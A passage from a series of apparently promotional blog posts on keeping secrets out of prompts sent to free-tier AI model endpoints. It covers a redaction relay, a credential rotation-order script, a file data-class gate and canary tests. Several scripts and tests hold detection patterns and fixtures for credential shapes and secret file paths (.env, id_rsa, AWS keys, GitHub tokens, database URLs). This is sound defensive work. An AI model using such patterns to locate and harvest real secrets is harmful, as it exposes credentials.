    ap.add_argument("--bind", default="127.0.0.1")
    ap.add_argument("--port", type=int, default=8088)
    a = ap.parse_args()
    ThreadingHTTPServer((a.bind, a.port), Relay).serve_forever()

Look at what never gets written to disk: the original body, the matched substring, the placeholder count. Only a class name, a count, and a SHA-256 of the input. If the log leaks, it leaks a fingerprint — not a credential.

Fixtures: prove it blocks, and prove it doesn't

A relay that blocks everything passes every "did it block?" test and is useless. You need negative fixtures too — inputs that must come back 200 untouched.

#!/usr/bin/env bash
# fixtures.sh - run against a relay on 127.0.0.1:8088
set -u
RELAY=http://127.0.0.1:8088/relay
run() {
  local name=$1 want=$2 payload=$3 got
  got=$(curl -s -o /tmp/relay.out -w '%{http_code}' \
        -H 'content-type: application/json' -d "$payload" "$RELAY")
  printf '%-16s want=%s got=%s  %s\n' "$name" "$want" "$got" "$(head -c 150 /tmp/relay.out)"
}

run negative-01  200 '{"prompt":"path=/srv/app/.env host=example.com docs=https://203.0.113.10/help"}'
run blocked-aws  422 '{"prompt":"key=AKIAIOSFODNN7EXAMPLE"}'
run blocked-conn 422 '{"prompt":"DATABASE_URL=postgres://app:hunter2@db.internal:5432/app"}'
run redact-email 200 '{"prompt":"customer jane.doe@example.com reports 500 on /checkout"}'
run oversize     413 "$(printf '{"prompt":"%s"}' "$(head -c 70000 /dev/zero | tr '\0' 'a')")"

Expected evidence, line by line — this is the part people skip, and then they can't tell a working relay from a silent one:

Fixture	Want	Evidence you should see
`negative-01`	200	`"classes": {}` and the prompt echoed unchanged
`blocked-aws`	422	`"blocking": ["cloud_key"]`, no prompt echoed back
`blocked-conn`	422	`"blocking": ["conn_string"]`
`redact-email`	200	`jane.doe@example.com` replaced by `<<email:1>>`
`oversize`	413	`{"error": "too large"}` and no log line with body content

AKIAIOSFODNN7EXAMPLE is AWS's own documentation placeholder — deliberately shaped like a key, not a live one. Never fixture with a real credential; a fixture file is a credential file with worse permissions.

Standing it up on a free server

Here's where a free server option earns its place: the relay needs compute and zero secrets. That's the ideal tenant for a host whose lifecycle you don't control.

MonkeyCode currently offers free model access and a free server option — the operator advertises a token allowance (10M tokens at the time of writing) and states the free tier is available to try. Verify the current numbers on the site before you plan around them, because free-tier terms are the least stable component in this design.

Disclosure: This article was prepared as part of MonkeyCode's product outreach.

Numbered steps:

Give the host nothing to steal. No env vars, no .env, no SSH keys beyond the one you need. The relay has no credentials by construction — keep it that way.
Bind loopback only. umask 077 then python3 relay.py --bind 127.0.0.1 --port 8088 2>> relay.log &. 0.0.0.0 on a host you don't own is a port scan waiting to happen.
Reach it over a tunnel, not a public port: ssh -N -L 8088:127.0.0.1:8088 you@host and point the agent at http://127.0.0.1:8088/relay.
Run the fixtures twice — once on the host, once through the tunnel. Identical output, or you have two relays and only one of them is yours.
Make the relay unskippable. An agent that can reach the model endpoint directly will eventually do so. Default-deny egress so the only reachable destination is the relay; otherwise you built a suggestion, not a boundary.
Treat the log as a cache, not a record. No body content, hash lines only, rotate or truncate freely. If you need incident review, ship the hash lines off-host — not the bodies.

Prevent, detect, recover

Layer	Control	Fails how
Prevent	Relay returns `blocked` for credential classes	Misses secrets that match no pattern
Detect	Hash-only log line per request; diff `classes` over time	Can't tell you what leaked, only that something matched
Recover	Rotate on any `blocked` event that also shows a provider response	Rotation after the fact can't undo an already-forwarded copy

That third row is the honest one. If a blocked fixture ever appears alongside a 200 response from a model in the same minute, assume the request got out through a second path and rotate. Don't debate it.

What this does not do

Regex is not a classifier. A UUID-shaped API token, a base64 blob, a customer name in prose — none of these match a pattern, and no amount of [A-Za-z0-9]{32,} fixes it without burying you in false positives. The relay raises the cost of an accident. It does not make a free endpoint safe for regulated data.

It's also one-way by design, so it breaks any task that genuinely needs the literal value — "why does this exact token fail to parse?" Use a synthetic fixture with the same shape instead of the real value. And it says nothing about provider retention; that boundary is theirs.

Who should not use this: teams that need contractual data-processing terms, a reproducible SLA, or an audit trail admissible in a compliance review. A redaction layer in front of a free tier is an engineering control against accidents, not a compliance posture. If losing a credential for an hour would page three people, fix rotation speed before you optimize the regex.

Start with the negative fixture, not your real repository. A relay that hasn't been proven to pass clean code through is just a firewall with good marketing.

And the question I'd leave on the table: which of these rules belongs in CI, and which belongs in the network layer? My answer — the fixtures belong in CI (they're fast, deterministic, and catch every rule regression), and the egress default-deny belongs in the network (it's the only layer an agent can't argue with). The relay is the thing in the middle, and the middle is where you keep the log you can afford to lose.

Your Leaked Prompt Secret Has a Rotation Order — Compute It Before You Click Rotate

jaryn — Mon, 19 Oct 2026 07:51:52 +0000

It is 02:14. A CI job fails with a 401, a developer pastes the last sixty lines of the job log into a model chat to ask why, and the log happens to contain the runner registration token leaked by an env dump. That is the leak. Everything after it is process.

At 02:40 the on-call engineer revokes the runner token. Correct instinct, wrong scope. At 09:00 a runner registers from a host nobody recognises — not because revocation failed, but because the CI personal access token that mints runner tokens was never touched. The attacker never needed the leaked value. They needed the parent. (Reconstructed tabletop sequence, not a single reported incident.)

So here is the question I keep asking platform teams: if a secret lands in a prompt at 02:14, what does your runbook do at 02:41 — and in what order?

Most runbooks I have read answer "rotate everything" and stop there. Order is the part that decides whether containment takes four minutes or four hours of re-leaking.

1. Map where the second copy lives

A prompt is a log line with an unknown retention window. Once you accept that, the interesting question stops being "did we leak a secret?" and becomes "how many copies exist now, and which of them can mint more?"

For a hosted workspace — including a free server option — the boundary map looks like this:

Boundary	Who can read the plaintext	Consequence for the runbook
Browser to model endpoint	you, plus a retention policy you cannot audit from here	every prompt is a log line; assume it outlives the tab
Workspace container	you, and whoever operates the platform	no long-lived credentials belong in it
Workspace filesystem and shell history	anyone who can snapshot it	`~/.aws/credentials` is a support ticket waiting to happen
Tool-call transcripts	your own observability stack	your logging pipeline is now a second copy
Repo and CI	your org	also the place where secrets get re-minted

Notice the last row. The minting capability usually lives on the other side of the boundary from the leak, which is exactly why rotating the leaked leaf feels like it worked.

2. Write the graph before you write the runbook

I keep the inventory as a CSV edge list, because it diffs cleanly in a PR and survives a wiki migration. Edge means "the left side can mint or replace the right side."

# minter,mintee
ci_github_pat,repo_deploy_key
ci_github_pat,ci_runner_reg_token
ci_runner_reg_token,runner_ephemeral_token

Three edges are enough to catch the treadmill. Add one line every time you add a minting path: token-to-token, token-to-key, key-to-certificate, org-admin-to-anything.

3. Compute containment order, not just a rotation list

This is the whole artifact. Standard library only, no dependencies — I ran it against the graph above and got the output shown below.

#!/usr/bin/env python3
"""rotate_order.py - containment and restore order for a leaked credential.

Usage: python3 rotate_order.py edges.csv ci_runner_reg_token
"""
import csv
import sys
from collections import defaultdict


def load(path):
    children, parents = defaultdict(list), defaultdict(list)
    nodes = set()
    with open(path, newline='') as f:
        rows = (r for r in csv.reader(f) if r and not r[0].startswith('#'))
        for row in rows:
            parent, child = row[0].strip(), row[1].strip()
            children[parent].append(child)
            parents[child].append(parent)
            nodes.update((parent, child))
    return nodes, children, parents


def reach(start, graph):
    seen, stack = set(), [start]
    while stack:
        node = stack.pop()
        for nxt in graph.get(node, []):
            if nxt not in seen:
                seen.add(nxt)
                stack.append(nxt)
    return seen


def topo(subset, children):
    indeg = {n: 0 for n in subset}
    for n in subset:
        for c in children.get(n, []):
            if c in subset:
                indeg[c] += 1
    ready = sorted(n for n, d in indeg.items() if d == 0)
    order = []
    while ready:
        n = ready.pop(0)
        order.append(n)
        for c in sorted(children.get(n, [])):
            if c in subset:
                indeg[c] -= 1
                if indeg[c] == 0:
                    ready.append(c)
        ready.sort()
    if len(order) != len(subset):
        stuck = ', '.join(sorted(subset - set(order)))
        raise SystemExit('cycle among: ' + stuck + ' - revoke the whole cycle by hand')
    return order


def main():
    path, leaked = sys.argv[1], sys.argv[2]
    nodes, children, parents = load(path)
    if leaked not in nodes:
        raise SystemExit(leaked + ' is not in the graph')
    down = reach(leaked, children)   # what the leak can mint
    up = reach(leaked, parents)      # what can re-mint the leak
    scope = up | down | {leaked}
    contain = topo(scope, children)
    print('guard :', ', '.join(sorted(up)) or 'none')
    print('contain:', ' -> '.join(contain))
    print('restore:', ' -> '.join(reversed(contain)))


if __name__ == '__main__':
    main()

Running it:

$ python3 rotate_order.py edges.csv ci_runner_reg_token
guard : ci_github_pat
contain: ci_github_pat -> ci_runner_reg_token -> runner_ephemeral_token
restore: runner_ephemeral_token -> ci_runner_reg_token -> ci_github_pat

Read that output carefully, because it says something counterintuitive. The first credential to revoke is the one that was not leaked. Kill the minter, then the leaf, then the leaf's leaf. Restore in the opposite direction so dependent jobs come back before the parent starts minting replacements.

If you rotate leaves first, you get the treadmill: revoke, re-mint, revoke, re-mint, and a very long night.

4. Handle the cycle honestly

The script hard-fails on cycles, and cycles are real — an org-admin token with permission to issue tokens can, in some configurations, mint a sibling of itself. When that happens, the honest answer is: you cannot compute order, so revoke the entire cycle manually, accept the outage, and then remove the minting loop so the next incident is computable. A graph that lies is worse than no graph.

5. Redact shapes, keep diagnostics

"Don't send secrets to a model" is advice, not a control. The control is a redactor that preserves enough shape for the model to help you.

# redact.py
import re

SHAPES = [
    ('aws_access_key_id', re.compile(r'\b(?:AKIA|ASIA)[0-9A-Z]{16}\b')),
    ('github_token', re.compile(r'\bgh[pousr]_[A-Za-z0-9]{36,255}\b')),
    ('private_key', re.compile(r'-----BEGIN [A-Z ]*PRIVATE KEY-----')),
    ('bearer', re.compile(r'(?i)\bauthorization:\s*bearer\s+[A-Za-z0-9._\-]{20,}')),
]


def classify(text):
    return sorted({name for name, rx in SHAPES if rx.search(text)})


def redact(text):
    for name, rx in SHAPES:
        text = rx.sub('[REDACTED:' + name + ']', text)
    return text

The negative fixtures matter more than the positive ones. A redactor that eats git SHAs destroys debugging value and gets disabled within a week.

# test_redact.py
import pytest
from redact import classify, redact

POSITIVE = [
    'AKIA' + 'Q' * 16,
    'ghp_' + 'a1B2' * 9,
    '-----BEGIN OPENSSH PRIVATE KEY-----',
    'Authorization: Bearer abcdefghijklmnopqrstuvwx1234',
]

NEGATIVE = [
    '9f2c1e7a4b8d3c5e6f708192a3b4c5d6e7f80912',   # 40-hex git SHA
    'a3b1f2c4-9d8e-4f10-8a2b-1c2d3e4f5a6b',       # UUID
    'sha256:6b3f9c1d2e4a5b6c7d8e9f0a1b2c3d4e',     # digest label
]


@pytest.mark.parametrize('sample', POSITIVE)
def test_positive_fixtures_are_caught(sample):
    assert classify(sample), sample
    assert 'REDACTED' in redact(sample)


@pytest.mark.parametrize('sample', NEGATIVE)
def test_negative_fixtures_stay_readable(sample):
    assert classify(sample) == [], sample

One tradeoff to state out loud: keeping a last4 for correlation is defensible for a 40-character high-entropy token and indefensible for low-entropy strings like internal hostnames. Decide per shape, not per policy paragraph.

6. Prove the revocation, don't assume it

The step everyone skips. These are command templates — I have not executed them for this article, and the expected strings vary by provider version and plan.

Credential	Expected failure evidence	Template
Cloud access key	`InvalidClientTokenId`	`AWS_ACCESS_KEY_ID=$OLD AWS_SECRET_ACCESS_KEY=$OLD_SECRET aws sts get-caller-identity`
GitHub PAT	`401 Bad credentials`	`curl -s -o /dev/null -w '%{http_code}' -H "Authorization: Bearer $OLD" https://api.github.com/user`
Deploy key	`Permission denied (publickey)`	`GIT_SSH_COMMAND='ssh -i old_key -o IdentitiesOnly=yes' git ls-remote git@github.com:org/repo.git`
Runner registration token	`403` on re-register	re-run the registration call with the old token

No evidence line, no closure. "I rotated it" is a claim; a 401 is a record.

7. Rotate now versus watch

Not every leak deserves an incident. Here is the table I actually use.

What you have evidence for	Action	Why
A shape matched in text you sent to a model endpoint	Rotate now, containment order	The copy may be retained outside your control
A secret sitting in a private workspace file, no egress	Move to runtime injection, rotate at next window	No evidence it crossed a boundary yet
A full private key pasted anywhere	Rotate now, then audit for derived certificates	Key material is not scope-limited
An internal hostname or topology detail	Do not rotate; classify as topology exposure	Rotation cannot fix architecture knowledge
A customer identifier	Route to your privacy process, not the credential runbook	Different remediation path entirely

The middle two rows are where teams burn goodwill: rotating everything on every signal trains people to ignore the alert.

8. What free access changes, and what it does not

Two availability claims are relevant here, and I am treating both as operator-supplied: MonkeyCode offers free model access and a free server option. Check the current offer terms yourself, since quotas and terms change faster than articles do.

Neither of those is a security control. They do change your threat model in one specific way: a free hosted workspace sits outside your network boundary, so your egress rules, disk encryption, and log pipeline no longer apply to the copy running there. That leads to three rules I would apply before pasting anything into it:

No long-lived credentials inside the workspace — inject short-lived, scoped tokens at runtime instead.
Assume the workspace filesystem and transcripts outlive your session, and export the transcript to a store you can scrub.
Since trying things costs nothing, there is no budget excuse for skipping redaction. Run the redactor first, then paste.

Disclosure: This article was prepared as part of MonkeyCode's product outreach.

The useful part for me is the drill, not the pricing. Free access means a small team can rehearse containment end to end before it is real.

A twenty-minute drill you can run this week

Create edges.csv with three minting paths you know are true.
Pick a leaf credential and run rotate_order.py against it. If it prints a guard, you just found the hole in your runbook.
Add the test_redact.py negatives to CI. Four of them are enough to start.
Paste one real failing log through redact() and confirm the model can still answer the question.
Write the evidence line you will screenshot during an incident, per credential type.
Pin the script and the graph in the repo next to the runbook, so the runbook can be regenerated rather than remembered.

Limitations and who should skip this

Fewer than roughly eight credentials? Skip the graph. Rotate all of them and go to bed. The graph earns its keep at scale and under partial-permission models.
No inventory? The script only knows edges you typed. A stale graph is false confidence; grep your CI config for credential creation before you trust the output.
Heavy change-approval processes? The graph becomes the ticket attachment. Run it in dry-run mode, paste the contain order, and let approval happen in parallel with the first revocation.
Regulated environments with per-credential incident paperwork? The tool does not replace your process. It reorders it.

The honest summary: containment is a graph problem wearing a runbook costume, and the leaked secret is almost never the first thing you should revoke.

So which invariant do you put in CI: "no secret shape leaves the runner without a redaction record," or "every mint-capable credential has a documented parent"? I would start with the second — because the first one only fails once, and the second one fails every time somebody clicks rotate in the wrong order. If you want to rehearse the drill without provisioning anything, the free tier is a reasonable place to start.

Before the First Prompt: A Data-Class Gate for Free-Tier Model Trials

jaryn — Sun, 18 Oct 2026 06:48:56 +0000

The first prompt in that trial was supposed to be boring. Just "summarize the failing test." What actually left the laptop was 41 KB of pytest -vv output, and two of those lines contained a database URL with an inline password. Nobody wrote a policy that allowed that. Nobody wrote a policy at all. Someone flipped a flag, pointed an agent at a repo, and the tool did what tools do: it read everything it was allowed to read and sent a summary of it somewhere.

So here's the invariant I now refuse to run a trial without: no byte from a file whose data class exceeds the mode's ceiling may enter a prompt. Not "sensitive files should be avoided." Not "the model is probably fine." An explicit ceiling per mode, a per-file class, and a gate that fails closed on the unknown.

This post builds that gate with two small scripts, four fixtures, and an exit-code contract you can put in CI today.

Two modes, two boundaries (and one you have to verify yourself)

A hosted free model tier and a self-hosted free server are not the same trust boundary, and conflating them is how teams talk themselves into a bad first week.

In the hosted case, the prompt bytes cross out of your machine. Whether they are retained, logged, or used for anything else is a question for the provider's terms, not for your threat model. You can only control what you send.

In the free-server case, the model weights and the prompt both live on a host you were given. That removes the network hop. It does not remove a tenant boundary, a snapshot, a support login, or a billing integration. Before you raise your data ceiling for that mode, answer one question in writing: who else can read that host's disk? If you can't answer it, keep the ceiling where the hosted mode is.

This is where the free tier is genuinely useful rather than merely cheap. MonkeyCode's current signup advertises a free token allowance and a free server option — as of writing, 10 million tokens and a free server, operator-supplied terms you should re-check on the live page before planning around them. What matters for this article is that both boundaries are cheap enough to test instead of argue about. (Disclosure: This article was prepared as part of MonkeyCode's product outreach.)

Step 1 — Write the ceiling down as a file, not a vibe

Policy that lives in a wiki gets skipped at 11 p.m. Policy that lives in a dict gets imported. Start with something you can diff in review:

# policy.py — your decision, not the vendor's
POLICY = {
    # ceiling = highest class allowed into a prompt at all
    "hosted-free-tier":       {"ceiling": "internal",      "hard": ["secret"]},
    "free-server":            {"ceiling": "pii",           "hard": ["secret"]},
    "air-gapped-self-hosted": {"ceiling": "customer-data", "hard": ["secret"]},
}
RANK = {"public": 0, "internal": 1, "pii": 2, "customer-data": 3, "secret": 4, "unknown": 9}

Two design choices are load-bearing. First, unknown outranks everything, because an unclassified binary is not a safe binary. Second, secret is a hard block in every mode — a leaked credential is not a data-classification problem you can solve by picking a friendlier host.

Also note what is not in this file: token counts, model names, or anything you read off a promo page. Promotions change. Your ceiling shouldn't change because a banner did.

Step 2 — Classify the tree, and record a digest per file

The classifier below is deliberately dumb. Regex and path heuristics, no ML, no network calls. You want the gate to be explainable in a review meeting, and you want the failure mode to be a false deny, not a false allow.

#!/usr/bin/env python3
# classify.py — TEMPLATE. Not run against your repo. Pin your own rules.
import argparse, hashlib, json, re, sys
from pathlib import Path

SKIP_DIRS = {".git", "node_modules", "vendor", "dist", "build", ".venv", "__pycache__"}
MAX_BYTES = 512 * 1024
RANK = {"public": 0, "internal": 1, "pii": 2, "customer-data": 3, "secret": 4, "unknown": 9}

PATH_RULES = [
    ("secret",        re.compile(r"(^|/)(\.env(\..*)?|id_(rsa|ed25519)|\.npmrc|\.pypirc|credentials(\.json)?)$")),
    ("customer-data", re.compile(r"(^|/)(dumps?|exports?|snapshots?|prod[-_]?data)/")),
    ("pii",           re.compile(r"(^|/)(fixtures?|seeds?|samples?)/.*\.(csv|json|sql|ndjson)$")),
]

CONTENT_RULES = [
    ("secret", re.compile(r"(?i)\b(api[_-]?key|secret|password|passwd|token)\b\s*[:=]\s*['\"]?[A-Za-z0-9/_\-+]{16,}")),
    ("secret", re.compile(r"(?i)\b(postgres|mysql|mongodb|redis)://[^\s:@]+:[^\s:@]+@")),
    ("pii",    re.compile(r"\b\d{3}-\d{2}-\d{4}\b")),
    # ("pii", re.compile(r"\b[\w.+-]+@[\w-]+\.[\w.]{2,}\b")),  # keep off until calibrated
]

def digest(p):
    h = hashlib.sha256()
    with p.open("rb") as f:
        for chunk in iter(lambda: f.read(65536), b""):
            h.update(chunk)
    return h.hexdigest()

def classify(p, root):
    rel = "/" + p.relative_to(root).as_posix()
    hits = [(cls, "path") for cls, rx in PATH_RULES if rx.search(rel)]
    try:
        if p.stat().st_size > MAX_BYTES:
            return hits, "skipped-too-large"
        text = p.read_text(errors="ignore")
    except OSError:
        return hits, "unknown"
    hits += [(cls, "content") for cls, rx in CONTENT_RULES if rx.search(text)]
    return hits, "text"

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--root", required=True)
    ap.add_argument("--manifest", required=True)
    a = ap.parse_args()
    root = Path(a.root).resolve()
    files, worst, unknown = [], "public", 0
    for p in sorted(root.rglob("*")):
        if not p.is_file() or any(part in SKIP_DIRS for part in p.parts):
            continue
        hits, kind = classify(p, root)
        cls = "unknown" if kind == "unknown" else max(
            (h[0] for h in hits), key=RANK.get, default="public")
        unknown += kind == "unknown"
        worst = cls if RANK[cls] > RANK[worst] else worst
        files.append({"path": p.relative_to(root).as_posix(), "class": cls,
                      "kind": kind, "sha256": digest(p)})
    json.dump({"worst": worst, "unknown": unknown, "files": files},
              open(a.manifest, "w"), indent=2)
    print(f"worst={worst} files={len(files)} unknown={unknown}")
    sys.exit(4 if worst == "secret" else 3 if unknown else 0)

if __name__ == "__main__":
    main()

The digest is the part people skip and later regret. A manifest without hashes tells you a filename was fine yesterday. A manifest with hashes lets you prove that the file the agent actually read is the file you classified.

Step 3 — Gate the manifest per mode

The gate doesn't read your repo. It reads the manifest and answers one question per mode: does this tree fit under this ceiling?

#!/usr/bin/env python3
# gate.py — TEMPLATE. Verdict is per mode; there is no global "safe".
import json, sys
from policy import POLICY, RANK

def decide(manifest, mode):
    pol = POLICY[mode]
    bad = [f for f in manifest["files"]
           if f["class"] in pol["hard"] or RANK[f["class"]] > RANK[pol["ceiling"]]]
    return {"mode": mode, "verdict": "deny" if bad else "allow",
            "blocked": len(bad), "sample": [f["path"] for f in bad[:3]]}

if __name__ == "__main__":
    man = json.load(open(sys.argv[1]))
    for mode in POLICY:
        r = decide(man, mode)
        print(f'{mode:24} {r["verdict"]:5} blocked={r["blocked"]:3} {r["sample"]}')

That's it. Two files, no daemon. The interesting output is not allow — it's the case where hosted says deny and free-server says allow, because that difference is exactly the argument your team needs to have before the session starts.

Step 4 — Build fixtures that must fail

A gate you've only seen pass is a gate you haven't tested. Four fixtures, kept in the repo, deliberately synthetic:

fixtures/deny-secret/app/config.py      # fake DATABASE_URL with inline password
fixtures/deny-pii/fixtures/users.csv    # SSN-shaped rows, no real people
fixtures/allow/app/parser.py
fixtures/allow/README.md

Run the pair and treat the output as an assertion, not as evidence from my machine:

python3 classify.py --root fixtures/deny-secret --manifest /tmp/m.json; echo "exit=$?"
# expect: worst=secret files=2 unknown=0   /   exit=4

python3 classify.py --root fixtures/allow --manifest /tmp/m.json; echo "exit=$?"
# expect: worst=public files=2 unknown=0   /   exit=0

python3 gate.py /tmp/m.json
# expect hosted-free-tier DENY blocked>=1; air-gapped also deny on secret

The exit=4 is the artifact. Wire it into pre-commit and CI, and a credential in a working tree fails the build instead of becoming a training sample.

Step 5 — Decide what actually crosses the line

Prompts are the obvious channel. They are not the only one, and usually not the biggest.

Channel	Hosted free tier	Free server (verify tenancy first)
Prompt text	Crosses out; ceiling applies	Stays on host; tenancy still applies
Tool file reads	Agent may read beyond your prompt	Same, plus host disk access
Tool stdout / stack traces	Frequently contains secrets	Frequently contains secrets
Index or embedding cache	Often a second copy, often forgotten	Same, on someone's disk
Error reports, telemetry	Check the client's defaults	Check the server's defaults

If that table has a row you can't fill in, you're not ready to raise a ceiling.

Step 6 — Close the loop: deny, detect, recover

Layer	Control	Owning team
Prevent	`classify.py` in pre-commit, exit 4 on `secret`	Repo owners
Prevent	`gate.py` at session start, fail closed on `unknown`	Platform / harness
Detect	Manifest hash compared to the files the agent read	Platform
Detect	Canary string in `fixtures/`; alert if it appears in egress logs	Security
Recover	Rotate, then re-run the fixture suite before re-enabling the mode	Security + repo owner

Where this breaks (and who shouldn't use it)

Regex classifiers are dumb, and you should say so out loud. Your first run on a real monorepo will flag hundreds of files, unknown will dominate because of binaries and large generated files, and someone will ask to lower the ceiling to make CI green. That request is the actual test of your process.

It also only covers the working tree. git log -p can resurrect a rotated secret that no current file contains, so run a history scan separately. Submodules are skipped by the walker above unless you recurse deliberately. And nothing here inspects what the agent writes back — a patch or a generated script is outbound code that needs its own review gate.

Don't use this as a compliance control, and don't use it to justify putting regulated data on a free tier of any kind, hosted or self-hosted, without a contract and a named data owner. If you can't enumerate your repositories, fix that before you write the policy — a gate over an unknown tree is theatre.

If you want to run the same fixture set against both modes before buying anything, the free tier is a reasonable place to do it: run deny-secret against hosted and free-server, and confirm both deny. That's one soft pitch and it's also just the cheapest correct next step.

The boundary question I keep coming back to: classification belongs in CI, on every pull request. The ceiling decision belongs in the harness, at session start, owned by whoever is accountable for the data. Do you need both, or can one layer be trusted to enforce the other's invariant — and which one fails quietly if you get it wrong?

Build a Canary Regression Test for Model-Bound Webhook Data

jaryn — Sat, 17 Oct 2026 05:50:25 +0000

The 02:14 ticket

Last month a support engineer opened a ticket that looked like a hundred others: one tenant's webhook deliveries were failing, and she wanted a model to explain why. So she copied the failed delivery record — status code, endpoint, body, and the X-Signature header — into a chat box and asked, "what is wrong here?"

The answer was fine. The paste was not. That header is derived from a per-tenant signing secret, and it now lived in a vendor transcript, a browser cache, and a ticket that three people could read.

Nothing exploded. No failed request, no 500, no alarm. That is the worst kind of incident: a secret that crossed a boundary nobody drew.

So let's draw it — and then prove it with a test.

The boundary is not the network

Most "don't send secrets to models" advice is a vibe. The useful version is a specific question: which fields are allowed past the prompt assembler, and what fails the build when someone widens that list?

Boundary	What crosses	Failure mode	Control
Log store → prompt assembler	Structured event records	Whole-record serialization drags in secrets	Field allowlist projection
Assembler → model endpoint	Rendered prompt	Retention you don't control	HMAC pseudonyms + shape-only values
Model output → ticket	Free text	Regurgitated secret in a readable place	Output scan before write

Note what is not on that list: "tell the model not to repeat secrets." A system prompt is a preference, not an enforcement layer. Enforcement lives in code that runs before the bytes leave your process.

Step 1 — Classify data, not payloads

Start with a table somebody can argue with. Mine, for webhook delivery records:

Class	Example field	Send raw?	Why
Secret	`signature`, `authorization`, `cookie`	Never	Rotating a tenant secret is a customer-visible event
Identifier	`endpoint`, `host`, `bucket`	Never	Names your internal topology and tenant mapping
Personal data	`customer_email`, `phone`	Tokenized	Correlation is useful; identity is not
Free text	`body`, `error`, `stack`	Synthesized	Where the leaks actually hide
Telemetry	`event`, `status_code`, `duration_ms`	Yes	The reason you called a model at all

Argue about the rows now, in review, with names attached. Not at 02:14.

Step 2 — Project with a default-deny allowlist

Denylists lose because they need you to predict every new field. Allowlists lose nothing but convenience, and convenience is exactly what you want to spend.

# payload_policy.py — starting template, not a validated policy
import hashlib, hmac, re

RULES = [
    (r"(?i)^(event|event_id|status|status_code|attempt|duration_ms|timestamp)$", "allow"),
    (r"(?i)(secret|token|password|signature|cookie|authorization|api_?key)",      "drop"),
    (r"(?i)(host|hostname|endpoint|bucket|arn|ip_addr)",                         "drop"),
    (r"(?i)(email|phone|address|full_?name|card)",                               "tokenize"),
    (r"(?i)(body|payload|message|error|stack|trace)",                            "synthesize"),
]
DEFAULT = "drop"

def classify(key: str) -> str:
    for pattern, action in RULES:
        if re.search(pattern, key):
            return action
    return DEFAULT

def shape(value):
    if isinstance(value, str):
        return f"<str:{len(value)}>"
    if isinstance(value, bool) or value is None:
        return value
    if isinstance(value, (int, float)):
        return 0
    return "<obj>"

def project(record: dict, hmac_key: bytes) -> dict:
    out = {}
    for key, value in record.items():
        action = classify(key)
        if action == "drop":
            continue
        if isinstance(value, dict):
            out[key] = project(value, hmac_key)
        elif action == "allow":
            out[key] = value
        elif action == "tokenize":
            digest = hmac.new(hmac_key, str(value).encode(), hashlib.sha256).hexdigest()
            out[key] = "tok_" + digest[:16]
        else:
            out[key] = shape(value)
    return out

Two details matter more than the code. First, the HMAC key lives outside the prompt path, so pseudonyms correlate within a tenant but resist dictionary attack — an unkeyed hash of an email is reversible in seconds. Second, shape() preserves length and type; that leaks a little, and it is the price of the model still being able to say "this body looks truncated."

Step 3 — Synthesize what the model needs to see

Here is the tradeoff people skip: aggressive redaction produces prompts that are safe and useless. If you replace an error string with [REDACTED], the model can tell you nothing about it.

So keep the skeleton. Replace values with typed placeholders, keep key names, keep ordering, keep booleans. A stack trace becomes file=<str:41> line=0 fn=<str:18> — still enough to spot a pattern like "every failure is in the same function," which is usually the actual question behind the ticket.

Step 4 — Two fixtures, not one

A redaction test that only asserts absence will pass when your projection drops everything. You need a negative control too.

# test_payload_policy.py — pytest, no network
from payload_policy import project

KEY = b"test-only-key-not-a-secret"
CANARY = "CANARY-{}-8f3a1c"

def render(record):
    return repr(project(record, KEY))

def sample():
    return {
        "event": "webhook.delivery_failed",
        "status_code": 502,
        "signature": "sha256=" + CANARY.format("signature"),
        "endpoint": CANARY.format("endpoint"),
        "customer_email": CANARY.format("email") + "@example.test",
        "body": '{"order":"' + CANARY.format("body") + '"}',
    }

def test_canaries_never_reach_the_prompt():
    out = render(sample())
    for field in ("signature", "endpoint", "body"):
        assert CANARY.format(field) not in out, field

def test_useful_fields_survive():
    out = render(sample())
    assert "webhook.delivery_failed" in out   # over-redaction guard
    assert "502" in out
    assert "tok_" in out                      # tokenized, not dropped

def test_pseudonyms_correlate_but_do_not_collide():
    a = project({"customer_email": "a@example.test"}, KEY)["customer_email"]
    b = project({"customer_email": "a@example.test"}, KEY)["customer_email"]
    c = project({"customer_email": "b@example.test"}, KEY)["customer_email"]
    assert a == b and a != c

def test_unknown_field_defaults_to_drop():
    out = render({"some_new_field": CANARY.format("mystery")})
    assert "some_new_field" not in out

That last test is the one that keeps working after the refactor. Every new field a service adds lands in drop until somebody writes a rule and a reason.

Step 5 — Run it against a model you are allowed to break

The hard part of this workflow is not the regex, it is measuring whether your projection destroyed the signal. You need a model endpoint and a throwaway environment, and you should never use production records for that measurement.

This is where MonkeyCode's free model access and free server option are relevant: the operator states that free model access (currently advertised as a 10M-token allowance) and a free server option are available, which is enough to stand up an isolated project, point the same fixture at a real model, and compare answers from raw versus projected payloads. Treat those terms as operator-supplied and check the current page before you rely on them — allowances and server options change, and I have not benchmarked throughput or hardware here.

Disclosure: This article was prepared as part of MonkeyCode's product outreach.

The measurement is simple. Take twenty synthetic records that produce a known correct diagnosis, run each through the model twice — once raw, once projected — and score whether the diagnosis survives. If accuracy collapses, your synthesize rules are too aggressive. If nothing changes, your drop rules are probably not firing.

Step 6 — Detect, then recover

Prevention fails eventually, so make failure loud. Scan rendered prompts before they are persisted, with deliberately dumb heuristics:

# scan a prompt log directory for shapes that should never be stored
grep -rEn 'CANARY-|sha256=[0-9a-f]{64}|Bearer [A-Za-z0-9._-]{20,}|AKIA[0-9A-Z]{16}' ./prompt-logs \
  && echo 'LEAK: rotate before continuing' && exit 1

A pattern match is not proof of a leak, and a clean scan is not proof of safety. It is a tripwire on the specific mistake you already made once.

Found in prompt log	Rotate	Notify
Signing secret	All tenant webhook secrets in that scope	Tenant owner, within the contract window
Session cookie	Invalidate sessions for the affected scope	Security on-call
Tokenized identifier only	Nothing	Nobody — but log the near miss

What this does not cover

Be honest about the edges. Key-name classification breaks the moment a customer pastes a secret into a free-text body field — you get shape-only values, which helps, but not extraction. Canaries only catch values you planted. Self-hosting the model removes network egress but not the prompt log on your own disk. And if your contract requires sending raw customer content to a processor, this gate is the wrong tool; go fix the contract first.

Who should not use this

Teams with no prompt log store: you cannot detect what you do not keep, and you cannot keep what you have not classified.
Anyone without a rotation runbook: redaction without recovery is theater.
Teams sending regulated data where legal review has not signed off on the synthetic-value approach.

The boundary question worth taking to your next review: which of these invariants belongs in CI as a canary test, which belongs in the assembler as an allowlist, and which one are you still pretending a system prompt will enforce?

Default-Deny Egress Before Your Agent Meets a Free Model Endpoint

jaryn — Fri, 16 Oct 2026 04:45:35 +0000

